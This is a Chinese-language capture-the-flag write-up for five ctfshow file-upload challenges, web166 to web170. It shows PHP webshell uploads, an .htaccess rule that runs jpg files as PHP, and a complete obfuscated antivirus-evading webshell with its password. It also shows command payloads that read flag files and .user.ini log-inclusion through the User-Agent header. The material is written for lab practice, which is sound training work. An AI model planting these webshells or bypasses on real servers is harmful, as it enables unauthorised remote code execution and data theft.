ctfshow-web入门-文件上传(web166、web167)&(web168-web170)免杀绕过

目录

1、web166

2、web167

3、web168

4、web169

5、web170


1、web166

查看源码,前端只让传 zip

上传 zip 成功后可以进行下载

随便搞一个压缩包,使用记事本编辑,在其内容里插入一句话木马:

上传该压缩包,上传成功后点击下载文件,使用 burpsuite 抓包:

我这里木马内容用的 request ,就在 get 里执行 ls 没什么问题,但是读取 flag 时识别有点问题,最好使用 post 请求,因此将请求方法改为 post ,将 file 的内容还原到上面。

读取 flag:

ctfshow{f98c6ba4-e71a-46bf-b7c3-846db8cc08d7}

后面发现转为 get 方法其实也是可以的,注意添加一个加号进行拼接,而不是用空格:

2、web167

提示:httpd

.htaccess 文件是 Apache HTTP 服务器的目录级配置文件,它允许用户覆盖 Web 服务器的系统范围设置,而无需修改全局配置文件(例如 httpd.conf 或 apache2.conf)。

这里我们可以通过上传 .htaccess 文件,其内容设置如下:

<FilesMatch ".jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

这里先改为 jpg 上传绕过前端限制后再改回 .htaccess 放包:

这个配置文件上传成功后,就会使 jpg 后缀的文件都被当做 php 文件解析。

接下来我们直接将一句话木马改为 jpg 后缀上传:

点击下载文件即可访问到一句话木马:

空白,说明上传解析成功。

调用:

看一下上层目录:

读取 flag.php:

拿到 flag:ctfshow{ba49b0f7-b8f9-447d-b1d3-118311c3d829}

3、web168

前端还是只能传 png

使用 burpsuite 抓包,改后缀重放回显 null

什么都没有回显

做了一下 fuzz 测试:

单个的字符都是没问题的,但是合在一起传的内容就有问题,并不是像前面对内容进行过滤那样简单,查看提示:基础免杀。

经过测试,正常内容可以上传,并且对 php 文件没有后缀限制:

文件会被上传到 upload 目录下:

phpinfo 也可以正常上传并解析:

无论是正常的 php 代码还是短标签的格式:

测试关键字:eval、system、assert、$_POST

均返回 null,猜测应该是过滤掉了一些危险函数和关键字

做了一下拼接绕过:

php 复制代码
<?php
	$a="e"."v";
	$b="a"."l";
	$c=$a.$b;
	$c($_REQUEST['cmd']);
?>

但是访问的时候报错:

看来不光是过滤关键字,这些高位函数在 PHP 配置中也被禁用了。

在网上找到了一个免杀的木马:

php 复制代码
<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

连接密码: TyKPuntU

调用:

查看上一层目录:

php 复制代码
TyKPuntU=system('ls ../');

存在 flag.php 和 flagaa.php,先读取 flag.php:

php 复制代码
TyKPuntU=system('tac ../flag.php');

不是,那么再读取 flagaa.php:

php 复制代码
TyKPuntU=system('tac ../flagaa.php');

拿到 flag:ctfshow{eec273d2-c16e-4772-bc11-b9d3587af55b}

如果这里不上一句话木马,我们还可以使用反引号来执行命令:

php 复制代码
<?=`ls ..`;

读取 flag:

php 复制代码
<?=`tac ../flagaa.php`;

4、web169

高级免杀

前端只能传 zip,抓包绕过即可

但是在后端上传发现不行,这段 unicode 编码在前面遇到过,文件类型没对。

需要修改 content-type 为:image/png

至于文件后缀并不影响,php 也可以:

测一下上一题的木马,过不了:

这里直接把尖括号(大于小于号)都给毙掉了:

想直接写进去很难了,采用日志文件包含:

先上传配置文件 .user.ini,也需要改文件类型为 png 图片类型

可以上传成功,再在 ua 头里面插入我们希望执行的 php代码,再次发送:

访问 upload 目录,返回 403,应该是 upload 目录下没有 php 文件:

我们随便传一个上去:

访问 /upload/1.php

遇到报错:

可能前面传得太乱了,重启容器,重新传 php 文件和配置文件:

再次访问 /upload/1.php,可以看到 ls ../ 执行成功:

读取 flag:

拿到 flag:ctfshow{5e939b5c-d235-43ae-9b2b-22c0387a9278}

5、web170

终极免杀

方法与上一题一样,也是采用日志包含。

传配置文件:

这里的 payload 就直接读 flag 了:

传 php 文件:

这次直接传 index.php,内容为空,一会儿直接访问 upload 目录即可看到回显。

拿到 flag:ctfshow{719e6a2b-7309-4fe1-964b-8ba79bcbb809}

CTFshow-Web 入门系列的文件上传至此结束。

Myon,2024.7.11

相关推荐
狸克先生几秒前
如何用AI写小说(二):Gradio 超简单的网页前端交互
前端·人工智能·chatgpt·交互
baiduopenmap15 分钟前
百度世界2024精选公开课:基于地图智能体的导航出行AI应用创新实践
前端·人工智能·百度地图
hopetomorrow16 分钟前
学习路之压力测试--jmeter安装教程
学习·jmeter·压力测试
hopetomorrow17 分钟前
学习路之PHP--使用GROUP BY 发生错误 SELECT list is not in GROUP BY clause .......... 解决
开发语言·学习·php
loooseFish23 分钟前
小程序webview我爱死你了 小程序webview和H5通讯
前端
网络安全-杰克25 分钟前
网络安全概论
网络·web安全·php
不是二师兄的八戒26 分钟前
本地 PHP 和 Java 开发环境 Docker 化与配置开机自启
java·docker·php
请叫我欧皇i35 分钟前
html本地离线引入vant和vue2(详细步骤)
开发语言·前端·javascript
533_38 分钟前
[vue] 深拷贝 lodash cloneDeep
前端·javascript·vue.js
guokanglun44 分钟前
空间数据存储格式GeoJSON
前端